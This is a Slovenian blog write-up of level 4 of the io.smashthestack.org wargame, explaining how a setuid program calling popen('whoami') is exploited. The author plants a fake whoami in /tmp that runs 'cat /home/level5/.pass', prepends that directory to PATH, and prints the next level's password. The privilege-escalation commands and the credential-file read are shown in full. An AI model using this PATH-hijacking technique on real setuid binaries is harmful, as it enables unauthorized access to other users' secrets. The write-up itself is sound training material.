CREATIVE CHAOS   ▋ blog

io.smashthestack.org / level04

PUBLISHED ON 15/02/2016 — EDITED ON 14/12/2023 — .SL, INFOSEC

Intro

Nekaj besed o četrti stopnji io.smashthestack.org.

Povezava

$ ssh -l level4 io.smashthestack.org -p2224
    level4@io:/levels$ cat level04.c
    //writen by bla
    #include <stdlib.h>
    #include <stdio.h>
    
    int main() {
            char username[1024];
            FILE* f = popen("whoami","r");
            fgets(username, sizeof(username), f);
            printf("Welcome %s", username);
    
            return 0;
    }

popen

FILE *popen(const char *command, const char *type);

    DESCRIPTION
           The  popen()  function opens a process by creating a pipe, forking, and invoking the shell.  Since a pipe is by definition unidirectional, the type argument may specify
           only reading or writing, not both; the resulting stream is correspondingly read-only or write-only.
    
           The command argument is a pointer to a null-terminated string containing a shell command line.  This command is passed to /bin/sh using the -c flag; interpretation,  if
           any,  is  performed by the shell.  The type argument is a pointer to a null-terminated string which must contain either the letter 'r' for reading or the letter 'w' for
           writing.  Since glibc 2.9, this argument can additionally include the letter 'e', which causes the close-on-exec flag (FD_CLOEXEC) to be  set  on  the  underlying  file
           descriptor; see the description of the O_CLOEXEC flag in open(2) for reasons why this may be useful.
    
           The return value from popen() is a normal standard I/O stream in all respects save that it must be closed with pclose() rather than fclose(3).  Writing to such a stream
           writes to the standard input of the command; the command's standard output is the same as that of the process that called popen(), unless this is altered by the command
           itself.   Conversely,  reading  from  a  "popened"  stream reads the command's standard output, and the command's standard input is the same as that of the process that
           called popen().
    
           Note that output popen() streams are fully buffered by default.
    
           The pclose() function waits for the associated process to terminate and returns the exit status of the command as returned by wait4(2).

fgets

char *fgets(char *s, int size, FILE *stream);

          fgets() reads in at most one less than size characters from stream and stores them into the buffer pointed to by s.  Reading stops after an EOF or a newline.  If a new-
          line is read, it is stored into the buffer.  A terminating null byte ('\0') is stored after the last character in the buffer.

Delovanje

Program izvede ukaz v lupini in na zaslon izpise rezultat.

    level4@io:/levels$ ./level04
    Welcome level5

Izpis je logicen, saj je lastnik programa level5:

    level4@io:/levels$ ls -la | grep level04
    -r-sr-x---  1 level5  level4   5159 Dec 18  2013 level04

A bi lahko sami dolocili, kaj se v programu izvede namesto whoami? Naprimer cat /home/level5/.pass?

Nazalost programa ne moremo spreminjat, saj bi ob ponovnem prevajanju izgubili prednost tega, da je uporabnik level5 lastnik izvrsljive datoteke. Poiskati moramo drug nacin, brez dvoma pa je popen zabaven del programa.

Najprej ugotovimo kaj je whoami:

    level4@io:/levels$ which whoami
    /usr/bin/whoami
    
    level4@io:/levels$ echo $PATH
    /usr/local/radare/bin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

$PATH lahko nastavimo s pomocjo naslednjega ukaza:

    export PATH=$PATH:direktorij

Naceloma lahko ustvarimo nek svoj direktorij, ki bo vseboval izvrsljivo datoteko whoami, ki bo dejansko izpisala geslo za naslednji nivo.

   level4@io:/levels$ mkdir /tmp/direktorij
   level4@io:/levels$ echo "cat /home/level5/.pass" > /tmp/direktorij/whoami
   level4@io:/levels$ chmod 777 /tmp/direktorij/whoami

Nastavimo se $PATH, pomembno je da nas nov direktorij navedemo pred starimi, da pri pregledu najprej naleti na nas spremenjen whoami.

    level4@io:/levels$ export PATH=/tmp/direktorij:$PATH
    
    level4@io:/levels$ echo $PATH
    /tmp/direktorij:/usr/local/radare/bin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

Epilog

Tokrat ce pozenemo program, dobimo kar izpisano geslo:

  level4@io:/levels$ ./level04
  Welcome DNLM3Vu0mZfX0pDd
  

See Also